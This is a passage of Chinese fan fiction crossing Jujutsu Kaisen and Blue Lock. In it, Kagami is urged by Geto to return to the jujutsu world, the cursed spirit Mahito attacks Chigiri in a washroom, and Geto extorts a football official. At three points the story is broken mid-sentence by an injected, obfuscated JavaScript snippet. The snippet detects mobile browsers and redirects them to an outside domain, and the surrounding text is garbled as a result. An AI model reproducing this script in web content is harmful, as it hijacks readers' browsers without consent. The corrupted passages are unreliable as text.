看着满脸血污的男人颤抖着点了头,少年松开手。 「我说,来杀人就要有被杀的觉悟。在赢不了的情况下就不要自找麻烦……唔?」 像是察觉到了什么,少年转过身,原地搜索了一圈,若有所思地磕了磕脚尖。 「啊……在这里吧?」 录像里猛然出现少年精致的笑颜,「摄像师」被整个人拎起来,看角度,应该是被少年摸了摸头,举在了自己身前。 「怎么是你啊。杰让你找我有事吗?」 咕噜咕噜,嚓嚓嚓。 镜头后方,被举起来的「摄像师」发出了不像人类的动静,忠实地记录着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093329|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 少年在自己的「话语」里产生的一举一动——先是皱起眉,然后略带理解地轻轻点头。 「我这边没事。让杰放心吧。」 少年将「摄像师」抛起,摄像师摇晃了两下,似乎就此飞在了空中。白发少年以不省人事的男人为背景在地面对它招手,温和地嘱托道:「咒灵,替我跟杰报平安。」 于是「摄像师」又发出了怪异难听的声音,镜头晃动,画面里的镜越来越小——这是「摄影师」飞向高空的缘故。 啪嗒。录像到此中止。 目睹了整个「行凶现场」的绘心甚八面朝和「凶手」长得一模一样的少年,镜片反射一抹光辉,像个没事人一样吃着泡面。 镜什么也说不出来,过去六年,他以为神秘侧和常识侧存在着一条清晰又牢固的界限,以前的事情不会再找上门来,在橙子离自己而去后,这种想法更加强烈。但现在这种认知却被绘心甚八带来的一盘录像带彻底打破——而提供那盘录像带的人,他的心里有一个名字呼之欲出。 镜很讨厌这种被过去追上的感觉,急促地问:“什么意思?为什么给我看这个?” 是要拿这个威胁自己吗?不,是有人让他拿给自己的吧?那人是谁,目的是什么? 绘心甚八漫不经心地反问:“苍崎镜,你想踢足球吗?” 镜长出一口气。 “我吗?” 无论那是什么,都是过去的事了,现在的自己不是五条镜,而是苍崎镜。 他点点头回答:“嗯,我想踢足球。” 绘心甚八不置可否地「哦」了一声,端起泡面碗,坐在椅子上转了个圈朝向门边。 “你也听见了,投资人先生。这下,能请你识趣地离开「蓝色监狱」了吗?” 听到这话,镜迅速回头——监控室的门口,不知何时多出一道身影。 来者一身灰色细条纹男士西装,昂贵的耳饰和手链,一副威严华贵的派头。 他抱着手臂,侧靠着门框,眼神一半放在镜身上,一半放空,像是沉浸于回忆。不知道在那里站了多久,见镜回过头,也只是笑眯眯地抬起一只手。 “哟,镜。” 愣了七八秒,镜才回过神来。 “换发型了啊,杰。” 他有很多话想和杰说,不知为何却说了最烂的一句。 “过得开心吗?这几年里。”夏油杰走过来,六年的时间,他已经长得比彼时的同期高了半头。他承认自己很享受这种高镜几厘米的感觉。 “还可以。” 镜微微仰头,认真地注视着杰,看似冷静实则迫不及待地说: “杰,我交到了新朋友,还找到了想做的事。你知道足球吗?要来看我比赛吗?你没去过我的高中吧,我带你去看看,我在学校很受欢迎的——唔,忘记你是从普通人的世界里被发掘的了,抱歉,我刚才说的话就忘记吧。你为什么会在这里?” “那,”夏油杰忽然说,“要回高专吗?” 杰歪了歪头,露出了一种——让镜感到无比陌生和恐惧,又无比心痛的微笑。 “这些年辛苦你了,混迹在一群羸弱的猴子里,和这些家伙玩没意思的游戏。” 在那骤然波动的目光里,杰面不改色地揉了揉镜的脑袋。 “高专和以前不一样了。回来吧,镜。” 24.诅咒缠身 看着盥洗池上镜子中自己的倒影,镜不禁想起蓝色监狱会客室闪烁着的电灯,冰块摩擦玻璃杯的声音混杂着电流的动静。 镜若有所思地揉了揉脖子,似乎感觉到了咒灵的重量。 “这个感觉——是「跟踪狂」吗?杰,你还真是喜欢它啊。” 他叫出咒灵的名字,匍匐在他脖子上的丑陋怪物闻言,喜悦地加快了「嚓嚓」的频率。 在杰的眼中,镜停止紧张时紧抿嘴唇的小动作,用那种分外熟悉的眼神看向他。他的脖子上缠绕着一只介于蛇和蜈蚣之间的咒灵,黑紫色的涎水从仿佛脱臼般的人脸的下巴上流下。咒灵发出嚓嚓的声音,神似跟拍的闪光灯。 就连夏油杰自己也没法描述当时的自己是什么感受。自从自己的同期在六年前死得无声无息后,他就再也没见过这张脸像现在这么鲜活了。 “还可以吧。” 杰将玻璃杯放下,身上缓缓流露出久经商场的成年人的味道。 “什么时候放在我身上的?”镜表情很古怪,“总觉得不是一天两天了。” “它能保护你不被其它的咒灵盯上。不喜欢这个了吗?我可以换一个。”杰在镜的注视下笑着靠在沙发靠背上,“财团那边有不同种类的咒灵,这个不好,那就挑你喜欢的。” 跟踪狂咒灵发出委屈的嚓嚓声,紧紧缠在镜的脖子上,似乎在控诉「咒灵操使」不负责任的诬告。 “不必了……我们还是说回正题吧。”意识到自己已不是眼前大人版的杰的对手,镜识时务地转移了话题。 “杰,你说的「回去」是怎么回事?” 不想听到的疑问从镜的唇齿间滚落。夏油杰的心里泛上烦躁,他看了眼手表,同时调整呼吸让自己冷静下来。实际上他当然知道自己的表现不太妥当,他来这里是带自己的同期回去的,而不是摆出一副讨人厌的架子,连叙旧都做不到,把人吓跑到猴子那边的。 会客室里,电器的动静和皮革的味道混杂成庸俗的人类世界的底调。看在是同期的份上,夏油杰耐着性子解释: “就是字面的意思。镜既然是咒术师,最适合你的就一定是咒术师的世界。” “回咒术界?哪怕杰你现在一副「肯定会选择我」的样子,我也没办法答应你啊。” 镜摆出更理所当然的架势。 “因为,我要踢足球啊。” 面对镜的拒绝,杰笑眯眯地反问,实际上是质问:“那种东西有什么好玩的?” 杰当然是自己的同伴,镜知道,面对同伴就要用信赖的态度对待,但压迫感还是顺着眼前微笑着的杰的语气,浸透空气的纤维爬上自己的皮肤。 镜在杰的压迫感里鼓起勇气问:“为什么非得回去?都说了我已经不是五条镜——” 而且,杰你很奇怪啊,变得好难懂,我们明明是一起改变咒术界的同伴不是吗? 然而,镜本能地觉得这样的话太过于伤人,忍住了没有去说。 杰没有生气。有着更多社会阅历的他自然地摆出年长者的姿态说: “你和以前一样天真,镜。” 杰屈起指尖敲了敲桌子,夏油杰玻璃杯里的威士忌和镜杯中的红茶一同波动起来。 “我们根本没能改变咒术界,最后你的死就是证明。” “都说了,那是我自愿的,你和悟甚至还见了我最后一面。” “是「自愿」,还是「被迫自愿」?” 杰腾的从沙发上站起来,他低下头,眼神里说不清是绝望还是失望。 “如果生产咒灵的人类不存在,不就没有咒术师需要牺牲自己了吗?” 镜愣愣地看着他,心声无比嘈杂,最响亮的呼喊,还是对于眼前的杰身上疲惫和厌世的惊愕——那些东西从没在此前的夏油身上出现过。 “杰,我不懂。”他说,“你遇见了什么?为什么扯东扯西就是不肯把那些事告诉我?” 杰答道:“那些事你不需要知道……那些是咒术师的事,等你回来我会一一告诉你。” 镜还想再问,他的思绪已经被突如其来的见面搞得一团乱麻。 然而杰没有给他这个机会。 眼看着他手机铃响,皱着眉查看来电显示后杰起身对镜说:“对了,这次只是顺路来看你,我还有一次跟日本足球协会的会面,跟我们的业务有一点联系。” 他详细地解释道,但这样的详细,并没有缓解镜心中的混乱。 镜搜刮着词句回应道:“果然还是咒术师的事情吧,真厉害,是大人物了呢,杰。” 哪怕轻而易举地看出这句恭维背后的无措,杰还是努力地笑了笑,摸上镜的头发。柔软的白发在他的指尖留下轻盈而瘙痒的触感。 他松开手,说道: “羡慕的话,就早点回我这边来吧。” 回忆像玻璃一样露出蛛网般的裂痕。镜子里,自己的眼睛和杰教训自己时的眼睛重合在一起。镜眯起眼,百味陈杂间,不爽地用拳头怼住镜子里自己的眼睛。 “啰嗦。笨蛋。白痴。”他对着镜子里的自己小声骂道。还没想好下一个词,镜中的自己身侧忽然多出一道红发的身影。 千切脖子上挂着毛巾,一只手拎着起居服松松垮垮的领口,另一只手拿着电吹风对准向下淌水的头发。 就这样,千切闭上眼旁若无人地烘干起那头长发来。 电吹风的动静盖过了呼吸的动静,镜乱成一锅粥的脑袋也被这么一出打断了状态。 “千切……”他张口呼唤千切的名字,却压根没想好之后要说什么。直到看到对方那头和杰相似的长发,自以为自然实则生硬地问道:“……很认真地在保养你的头发呢。” 千切挑着眉瞥向镜,不以为意地轻轻点头算是回应,而后指了指他拿着牙杯的手。 “谢谢。但是需要我提醒你吗,你的水马上要洒了。” 迅速抓紧水杯放在洗漱台边缘,镜喃喃自语道:“难不成……我现在状态很不对?” 千切对着镜子仔细地吹干头发,冷静地搭话道:“是太累了?”千切贴近镜子,整理好额前垂落的刘海。“还是说你真的要走了,所以现在心情很混乱。” 镜犹豫地说:“大概。虽然我的「走」和你的「走」绝对不是一个意思。” 镜还没想好要怎么很同伴解释自己被绘心耍了一通的事,毕竟那之后发生的事更加出乎他的意料,以至于自己已经完全没有多余的心神去考虑所谓的「骗局」。 “真好啊。”千切放下吹风机,视线落在自己的膝盖上,他笑起来。“能有一个这么正当的理由放弃足球,你很幸运啊,苍崎。” “放弃?”将解释的事放到一边,镜转头对千切传递着眼中疑惑的信号,眉心皱在一起,“我没想放弃足球,你为什么这么说?” 千切回答:“是那个绘心自己说的吧,在这里被淘汰这辈子就别想进入日本国家队。” 就算是这样,也没理由放弃足球。 镜正想反驳,却忽然意识到了什么,脑海中斑驳的碎片奇迹般地拼合在了一起。 在常人的世界里,所谓的「国家级」就和咒术师的「最强」一样。对于那些想要变得更优秀的球员来说,不能入选国家队,基本等同于断掉了自己最宽敞的一条大路。 而对自己来说,假如在这里被淘汰,之后恐怕再也不会有接触到「蓝色监狱」这种级别环境的机会了。到时候自己会如何?大概会慢慢地感到无趣而放弃足球吧——就像在来到监狱前,因为高中级别的比赛而无聊到想要放弃足球一样。 那样的话,自己不就会找别的事做,不就会按照杰提出的要求回到他那边了吗? 镜垂下头,一时间,他感受到了许多前所未有的东西。 自己的手臂上,正浮动着232-Z的数字。特别的分组、多余的「补充规则」,他现在才意识到那些东西并不只是绘心因为讨厌他或者激发他的能力而作出的安排。除此以外还有着别的用意。 比如说让苍崎镜留在「蓝色监狱」。 无论理由是什么,绘心的做法确实告诉镜:他的目的,就是让被选拔到此的球星原石留在这里发光发亮。 镜的眼睛终于恢复了往日的平静,他感激道:“谢谢,千切,这次真的帮大忙了。” “嗯?哦。不客气。” 千切并不知道镜今天经历了什么,在他眼里,镜说的这些话只是让他身上我行我素的自我主义味道更浓了一些。 “不懂也没关系,总之谢谢你。”镜友好地笑笑,拿起水杯,“我先回去了。”他想起补充规则的事,一时不知从何开口,但还是言简意赅地说:“不过我不会走的,我们还要继续打两场比赛。请继续多指教,千切。” “不,我也没起上什么用处吧,这话为什么要跟我讲。”千切抱怨似的说道。 伴着柔和的灯光,镜走出盥洗室,寝室就在不远的拐角。他看着眼前的走廊,脑海里构想的是怎么踢赢下一场和W队的比赛。 说起W队,最麻烦的是那两兄弟…… 还没走出几步远,身后的盥洗室忽然传来了重物落地的声响。想到还在盥洗室的千切,镜心里咯噔一下,调头推开盥洗室紧闭的门: “你怎么了千切,是摔倒——” ——镜睁大眼睛。 是一只手,灰蓝色的表皮显露出被拉伸开的痕迹,上面有着让苍崎镜这辈子都忘不掉的缝合线痕迹。那只手没有身体,孤零零地在地上匍匐,末端连接着下水道。明明只是只手罢了,却硬生生靠着某种能力生生拉长自己,有手的一端勒在千切的脖子上,将红发少年拽倒在地。 那只手张开五指,像是在挑衅前方的苍崎镜似的,并没有直接扭断千切的脖子,而是故意一点点收紧,任由少年在弥漫的窒息感里痛苦地抓挠自己的胳膊。 “啊,你回来了呀。”那手背上冒出一张嘴,“遗憾,我还以为能先来个见面礼呢。” 见惯了这种场面,镜没有被吓到。 “你是故意的。”白发少年冷冷地说。 熟悉又诡异的气息掺杂在消毒水的气味里顺着下水道的深处钻入镜的鼻腔。旧日的习惯飞速复苏,他冲上去一把扯开那条难看的手臂,拽到一边再抻着两边用膝盖狠狠撞上去。几乎是刹那那条手臂就折出一个让人寒毛直竖的弧度,五指尖叫似的张开,骨肉软绵绵地垂落在地。 “好痛!好痛啊!”手大叫起来,“好过分啊,五条弟弟!” 镜被恶心地拳头发抖。手趁机偷袭,末端抖了抖,更长的手臂从下水道里带着让人作呕的气味涌上来。镜把千切拉到身边,紧接着,握拳——下蹲——咔嚓一声之后,盥洗室的地面上只剩下一条惨烈折断的手,和微微裂开的灰色的地砖。 “好痛!但是没用,对我没用啊!”手时而尖叫时而大笑,在地上摆成扭曲的一团以展示自己的柔软。 “……” 镜沉默地看向自己的手心,看着手臂咒灵在毫无咒力的攻击下不痛不痒地爬动。 “……咳。”千切感受着脖子上的勒痕,想起刚才难受的窒息感,“我还是第一次被人掐着脖子打还没法反抗。”他盯着身前紧盯手臂不放的镜,从那身影里感受到了对这种情况的熟练。“所以,苍崎,这是什么东西?” 镜不敢看他,把人往后推了推。 “「咒灵」。”他低声说,“不是普通人能对付的。你先想办法跑,剩下的交给我来。” 他决定拖延时间。这里到处都是人,绝不能让手臂咒灵胡来。正好他还有智慧,干脆利用这点把它拖在这里;只希望它对自己的兴趣比对千切的兴趣大一些。镜不太确定地想;自己对这种生物的吸引力应该比作为普通人的千切要大吧? 千切看着被手臂咒灵延长的手臂拦住的门,叹了口气反问道:“我该怎么跑?” “当然是——”当然是等它按耐不住冲上来时,自己和它周旋,千切趁机跑出去了。 意识到自己产生了何种危险的想法,镜赶紧闭住嘴巴。 这只咒灵很危险,这么危险的东西为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098907|161561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么偏偏出现在这里…… 镜感到困惑,但更多的,是止也止不住的后怕。 如果几分钟前回头得晚一点,或者干脆因为急着赶回寝室而根本不回头。 他不敢想那样的后果。 下意识地扣住身后千切的手腕,手心立刻传来一阵甩脱的力道,但是手腕的主人又很快克制住了那种欲望。 镜知道千切一定感受到了自己发抖的手。 “这样方便反应。”镜欲盖弥彰地说。像是要逃避什么结果似的飞速思考着对策。 有什么东西比他的思考更快。地上的手臂猛地抬起朝苍崎镜袭来时,镜抬起手,企图用自己挡住这东西的攻击。但他忽然瞥到手臂咒灵在地上痛苦地扭曲成团。咒灵体表的缝合线因为什么东西的撕咬针针爆开,溅出下面血红的□□。 “啊!痛!不要咬我你这白痴!”手臂咒灵极其人性化地辱骂着啃咬它的东西。 看着这画面,镜想起来了什么:「跟踪狂」咒灵,是拥有着「能以任何意想不到的方式出现在跟踪对象附近,并且会为了跟踪对象的一举一动发狂」特性的咒灵。 要机会就是现在。镜一脚踩断手臂咒灵的手臂,两步越过从盥洗室里面到门口的距离。“跟着我。”背后传来破空声,尖叫声混杂着笑声。 “低头!”战斗意识促使苍崎镜低头,顺带扯住千切的手臂让他一起俯下身体。 三四只手按在门上,似乎打定主意不想让他们两个离开。 变多了,是变形性质的术式吗?镜判断手臂咒灵的术式。 “喂,咒灵,你的名字是什么?” “名字?”眼前三四只手中的一只长出一对眼睛和一张嘴巴,眼珠转动,看起来一如既往的恶心。“这是第一次有人问我名字呢!很有人类的感觉,我很开心呢——对啦,我叫真人哦。” “「真人」……抱歉,没听过。”镜摇摇头,默不作声地调整位置,“新生咒灵吗?” 真人快乐地挥舞手臂打起招呼。 “嗯嗯,是的!五条弟弟真了解我,我想这就是人类说的「朋友」吧!” 有心智但不成熟啊,这家伙只是在本能地模仿人类而已,这点或许可以利用。镜思索着,斟酌字句:“嗯,我们是朋友,我可以跟你讲很多人类的事。但是你可能不知道,对人类来说,朋友是不会拦着别人出门的存在。” “你完全是在骗它啊。”千切低声说。 “这是真的吗?”真人盯着镜,又问了一遍,“真的是真的?” “嗯,真的。”镜露出正直的表情,竭尽全力对真人展露一个浅淡的微笑。“相信我吧,真人。” “好吧……我相信你。” 真人翻了个白眼,让开了挡着的房门。 镜看着真人不情不愿让出的道路,牵着千切走了上去。 走到门口,他深吸一口气,松开了牵着对方的手。 千切皱起眉,“喂……你是怎么回事?” “我陪朋友聊聊天,没什么大不了。” 镜蹲下身,抚摸真人的手背。此刻他的表情十分冷静,冷静到了没有起伏的程度。 千切咬咬牙。哪怕是仅仅出于同伴的情谊,放任镜和那怪物在一起,他做不到。但无论多么不甘心,自己帮不上对方的忙也是板上钉钉的事实。 千切一字一句地说:“我去找负责人,来陪你们「聊天」。” 他说完,走出危机重重的盥洗室,关上了门。看到这一幕镜舒了口气,站起身来。 “镜,镜。我们要聊什么?”真人很兴奋地问。 “别装了,咒灵。”镜看着眼前紧闭的屋门逐渐爬上更多的手臂,一语道破真人单纯外表下的恶意。“你的杀意都快要溢出来了。把我当猎物玩弄很有意思吗?” 真人的眼睛弯成一道月牙。 “超有意思的,镜ちゃん。” 蓝色监狱过道的墙面发出一阵抖动。盥洗室里,苍崎镜被从下水道爬出来的真人提起来按在墙壁上。手臂咒灵的真身是一个浅蓝色长发的男子,洋溢着活泼的微笑,头发分成三股搭在后背和肩膀上。 “镜ちゃん,我一直都想和你做朋友,但是一直一直——连面都没能见到。”真人眼神亮得像是在发光,“百闻不如一见,不仅没有传闻里那么凶恶,而且,”真人的背后长出来一对手臂,手舞足蹈地比划道:“本人——比照片可爱一万倍哦!” 即使已经快要喘不过气来了,镜还是嗤笑道:“这种发言……你才是跟踪狂吧?” 虽然很难受,但是绝对不能昏过去,自己必须拖延时间。镜清楚地知道,就凭咒灵那种以伤害人类为本性的个性,一旦让真人突破自己的阻拦,全是普通人的封闭场所就会变成他的乐园,人类的地狱。 不过,镜也确信,真人就是知道他知道了这件事,才故意留下他一个人。大概是为了享受他被同伴抛下一个人赴死时滋生的恐惧吧。 就连不甚发达的痛觉神经也在真人的折磨下发出了不堪承受的信号;镜久违地,感受到了「濒临死亡」的感觉。 从真人覆盖在自己面部的手的缝隙间镜看见了他露出牙齿笑着愉快到极点的脸。 镜睁开眼睛,仿佛要将那张欢笑的脸连同现在清晰的感受通通烙印在记忆里。 话说回来,让我不想回去的理由不就是这个吗? 他一直不想承认一件事: 从咒术师五条镜的身份脱离出来过上普通人的生活,他一直非常庆幸——哪怕怀念兄弟和亲友,怀念和他们为了了不起的目标努力的时光。 镜仿佛看到咒术师的自己穿着高专的校服孤零零地站在落雪的五条宅大门前。 因为那种感觉…… 记忆的片段里,闪过妈妈/护卫/陌生咒术师千奇百怪的死法,以及同伴重伤的样子。 因为那种感觉,那种随时会因为意外失去重要之人的感觉…… 苍崎镜重重闭上眼睛,像是要逃避不愿面对的过去。 真是糟糕透了。 25.事件 今日晚间,东京暴雪。日本足球协会总部顶层会议室,特别顾问不乱茑宏俊喝着红酒等候着即将来此的客人。落地窗外能看到国立竞技场的穹顶,暴雨在防弹玻璃上割裂出扭曲的水痕。 他将雪茄烟灰弹进水晶的烟灰缸,六本木夜店的香水味黏在他的品牌西装上。 夏油杰含着虚伪的笑推门而入,“已经等很久了吧,宏俊先生,真是抱歉。” “这没什么,夏油。”不乱茑宏俊的目光从堆笑而眯成缝的眼睛里穿透而出打量眼前西装革履的咒术师,流露一丝轻蔑,但嘴上还是客气道:“听说你水平不错,对你来说,解决这次的事件应该简简单单吧?” 夏油杰笑而不语,只是伸出手,向这位顾问索要对方应该提供的任务档案。 “哎呀……你也知道,每一场比赛都是一笔不菲的收入,要是球场出了问题……” 夏油杰拆开档案袋。不乱茑宏俊在耳边念叨着类似的话。落地窗外,漫天暮雪纷纷而落,雪花折射的夕阳映衬着他眼前档案上漆黑的字迹。 几星期前,有观众翻进球场,从看台上跳下去自.杀了。 这件事在那段时间里闹得沸沸扬扬。 二级……不,一级吗?这只咒灵也许能直接干预人的心智和行为,危险性比普通咒灵要高很多,有这样术式的咒灵可以吸收一只储备起来。 但竞技场不太会有恐怖传闻,单凭大量的负面情绪就能产生这种咒灵吗? “……”夏油杰眯起眼睛,要求道:“五千万,以及在球员通道的防护措施。” “保证你的球员不会在入场时因为诅咒出现意外。” “哎、哎呀,五千万?!” 不乱茑宏俊抱怨道:“只是给竞技场撒撒盐、做两轮法事,要这么多钱吗?” 夏油杰见怪不怪地笑了笑。原来在这个人眼里咒术师的工作和那些招摇撞骗的江湖道士一样啊;怪不得会出现这样的事,恐怕之前他压根没把祓除竞技场的诅咒当成一件重要的事吧。 他在不乱茑宏俊质疑的眼光里回答道:“很遗憾,这座竞技场有高级的诅咒盘踞着,我们咒术师也要调用不少人手才能祓除。或者不乱茑宏俊先生可以多花些钱,再去找别的咒术师干这份工作。我个人并无意见。” 不乱茑宏俊冷下脸想了想,还是答应了夏油杰的报价。 “五千万,再加上之后的维护还有每一次重建的检查。如果出事,你们是责任人。” “明智的决定。” 夏油杰从容地回应道。他拿起符纸封存的档案袋推向不乱茑宏俊,档案袋在桌上旋转着滚到不乱茑宏俊面前。 “那么现在,告诉我。这所场馆底下到底埋着什么?” 不乱茑宏俊面色一变,嚷嚷道:“这叫什么话!我怎么知道这事儿!你还不如去问当年的施工队,问问他们除了地基还埋了啥!” “能说出这种话,您还真是不清楚现在是什么情况啊。” 在夏油杰眼中,那些从不乱茑宏俊毛孔里带血溢出的贪欲,正凝结成无数咒灵。 在心中嘲讽着不乱茑宏俊的贪得无厌,他冷冰冰地笑起来。 “宏俊先生,请看清楚了。毕竟这些东西看得太多会危害您的身体的。” 夏油杰袖中滑出半截裹着封条的焦黑手指,随着他微笑拆除封条的过程,诅咒的气息如潮水般弥漫开,会议室里,所有的物品忽然开始晃动起来,光源陡然变成暗红色。 「我要……我要……我要……」 「我的……我的……我的……」 不乱茑宏俊寒毛直竖,他感觉到有什么危险的东西正向自己而来。他颤巍巍地抬起头——数十只大大小小的咒灵挤在一起,从自己头顶的空间里凭空打开裂隙,像是海边的渔获一样翻腾着瞪着没有高光的眼睛看着他。其中,有一张人脸露出笑容张开嘴,显露出惨白的牙齿和黑紫的舌头。 “这是什么?!” “被特级咒物,「宿傩手指」吸引来的咒灵。”夏油杰平淡地解释,看着不乱茑宏俊在咒灵垂涎的触碰下惊声呼救而无动于衷,“我身上携带的这一根从刚才起就在活动。”他反问:“难道宏俊先生的意思是,它是自己动起来的?” 夏油杰慢慢缠回封条,房间的异象消失了——而纠缠不乱茑宏俊的咒灵也在设置好的操控咒灵的啃咬间哀嚎着变成了灰烬。 “我……我知道了。” 不乱茑宏俊瘫在沙发上,拿出手帕擦擦额头冒出的冷汗,半晌才坐正回答夏油杰的问题: “没错,一年前改建时,球场地下的确挖出了那样的手指。”不乱茑宏俊想起那天面带惊恐的工队领头跟他解释灵异事件的脸,“但我想不到那东西会搞出这种乱子来!” “越强的咒物,越能镇压强大的咒灵。” 夏油杰将手指收起,解释道:“像竞技场这样人员密集的场所,需要更强的咒物控制这些人产生的负面情绪。” 不乱茑宏俊烦闷地扯松领带,昂贵的腕表表带勒出他腕上青紫的勒痕。 “夏油先生,那要怎么办?这可是经常会举办大比赛的大场馆,可千万不能有失啊!” 夏油杰凝视着不乱茑宏俊瞳孔里一闪而逝的恐惧,淡笑着提议道: “关键在于宿傩的手指。” 他无视了合同由甲方起草的潜规则,从随身的咒灵嘴里掏出了自己拟定的合同。 “手指由我们带人回收,到时会用咒术师定期祓除咒灵的方法替代咒物的作用。” 不乱茑宏俊的额角渗出冷汗,却笑着点燃一支雪茄。“夏油先生,协会预算里可没有跟你们咒术师长期合作的条目。”吐出的烟圈在空中凝成恶鬼面相。 这话的意思二人都懂,不过是想找个理由压低他给出的报价罢了。 但让夏油杰没想到的,是不乱茑宏俊接下来说的话。 “不如谈谈几年前您那位在东京市区失踪的同僚?”不乱茑宏俊无视了夏油的脸色侃侃而谈,“想当初我也靠着一些人脉听到了不少风声。听说你在收集这些手指,”他咧开嘴露出被雪茄微微熏黑的牙缝,“我猜应该和当时你们身边失踪的那人有关吧?” 窗外的暴雪突然变大,柔软的雪片如刀子般敲打防弹玻璃。夏油杰背后的黑色虚空探出裂口女的影子,咒灵伸长脖子,嘴角僵化的笑意映在装满红酒的玻璃杯上,满含意味地预示出不乱茑的未来。 “三亿。” 夏油杰温柔的声音却让温度骤降十度。 “包括永久拔除因您身上的诅咒。”裂口女像日本故事里的大和抚子一样妩媚纯美地移动着,掐灭不乱茑宏俊手中的雪茄,夏油在她身后悠闲地问:“还是说,我现在就让这只咒灵给您带来一点「咒术师」的体验?” 不乱茑宏俊自知策略出错,慌乱中按下紧急呼叫钮,却发现门外的秘书早已昏倒在咒力侵蚀中。 他西装内侧暗藏的护身符突然爆开,从神社里求来的祈求「平安」的符箓既然被裂口女的威压碎成两半。 “我因为什么原因和你交易应该和宏俊先生的目的无关。”夏油收回桌面上的合同,将新的合约滑向面如死灰的男人,他笑道:“普通人就乖乖做好普通人的事,不要胡乱谈论咒术师的关系。” 看着不乱茑宏俊的眼中彻底丧失与他谈判的勇气,夏油杰收回裂口女满意地起身。 而后,夜间,几公里外的东京海滨在翩然而至的落雪里染上一层梦幻的白色。有虹龙在,出行并不需要普通交通工具的夏油杰靠在路边的电话亭上,任由往来的人群对自己投以注目。他在光明正大地浪费时间,对夏油杰来说,这有助于缓解他在工作里面感觉到的压力,保持心理健康。 他的口袋里忽然响起公务电话的铃声。 “……” 尽管不爽休息时间被占用,夏油杰还是接通电话,沉默着等待对面的人开口。 “喂喂,是夏油先生吗?” 电话那头传来绘心甚八的声音。 「蓝色监狱」的监控室内,绘心甚八靠着椅子,看着盥洗室监控中上演的一幕。 “监狱里出现了一点普通人没法解决的情况,出于理性考虑,我给你打电话了。” 夏油先是古怪地低笑了一声,回击绘心甚八的「识趣离开」,而后询问: “什么情况?” “蓝色监狱里出现了咒灵。”绘心甚八的眼睛没离开监视器,“苍崎镜在处理。” 一下,两下。 没有咒力的攻击对咒灵无效,苍崎镜当然知道这点,但还是聚集力气将拳头握紧朝真人一次次砸去。如果头脑已因为阵痛无法思考,那就连思考也抛开,靠着直觉把这该死的怪物撕成碎片。能让他感觉到疼也是成功,至少让他明白,哪怕不会死,招惹自己的后果就是像现在这样痛不欲生。 真人盯着血污大笑着看着镜。 “镜ちゃん好笨啊,看不出来我会再生吗?” “唔?那样更好。” 镜歪着头死死地盯着真人的脸,他再一次高高举起拳头,砸断真人的肋骨。 “那样就能把你一直揍到爽了。” 指节滴落的血液点燃了他的怒火——以及被不想接受的过去纠缠不放的焦躁。 “啊,哈哈哈……” 真人痴痴笑着,仿佛真的把这一切都当成了朋友间的游戏。 “虽然我还想陪镜ちゃん玩一会,但是还是得先做正事呐。” 他将手抬起,在镜丧失理智后如疾风骤雨般落下的拳头里一点点靠近他的眼睛。 多漂亮的眼睛呀,虽然只是六眼的仿制品,但要是能把它们的主人做成改造人…… 真人弯起眼睛。 哈哈,不知道它们会不会哭出来呢? 一道瘦长的影子擦着镜的肩膀疾速冲刺过来,由无数黑影组成的柱状物穿透真人的手腕,在捕获它之后又分成六股,如野狗啃咬老鼠般在真人身上留下深深的血洞。 “……” 纵使现在的身体无法看到咒灵,但看着真人的身体在自己眼前爆开,苍崎镜还是意识到发生了什么,他顿住挥拳的动作,慢慢放下手臂,从真人身上站起,后退着走到墙边,身体一点点地滑落在地。 被夏油的咒灵追杀的真人变形成孩童的样子,在盥洗室内仓皇逃窜。 盥洗室的门被缓缓拉开,镜的余光里出现一双熟悉的鞋子,随后背后传来一股将他向上拽动的力量。 在千切的支撑下镜从地上站起,他听到耳边有人问:“还好吧?” 镜默默想:真亏你遇到这种事还能那么冷静,千切。要是你没有那异想天开到想把我整个人按在自己怀里的动作就更好了。 镜微微低头看着千切,“我还好,你不用这么担心…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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镜顺势移开覆盖在千切眼前的手。他看了一眼,注意到对方的脸色有些难看,没往深处想,只以为是受到过度惊吓而已。 “辛苦了……不,谢谢你,杰。” 镜张了张口,“……” 但不知为什么,他什么也没说。 夏油杰意识到这是一个机会。他收回所有的咒灵,从割出的伤口里飞溅而出的黑紫诅咒之血涂满了一片狼藉的盥洗室墙壁。 哪怕这一切只有咒术师才能看到——但夏油杰从镜的眼睛里敏感地捕捉到,历经濒死之际的少年眼中映出了那面墙壁,湛蓝瞳孔因此闪过一刹动摇。 “你看到了,镜。就算你已经变成了现在这样,还是有像这样的诅咒一直纠缠着你。” 他笑着伸手,高度略低。 夏油杰自认,这完全不是趁人之危。 “回这边来吧。” 镜睫毛轻颤,避开了夏油的目光,“太突然了,再给我几天时间。” 夏油杰笑着挥挥手,“当然可以。” 千切皱起眉。 从刚才起他就从眼前高大的男人身上感受到了无来由的恶意,本来不想理会,但随着他说的话越来越多,他越发清楚地感觉到身侧苍崎身上传来的矛盾和挣扎。 “——喂,这位先生。” 那双直视夏油的赤红眼睛里像燃烧着一簇不熄的火。 “你的话让我的同伴很烦恼,能请你离他远一点吗?” 夏油杰的视线落在从一开始就没在意过的千切身上。少年身上纠缠着将他不断拉往地狱的诅咒,试图将他彻底地摧折毁灭。 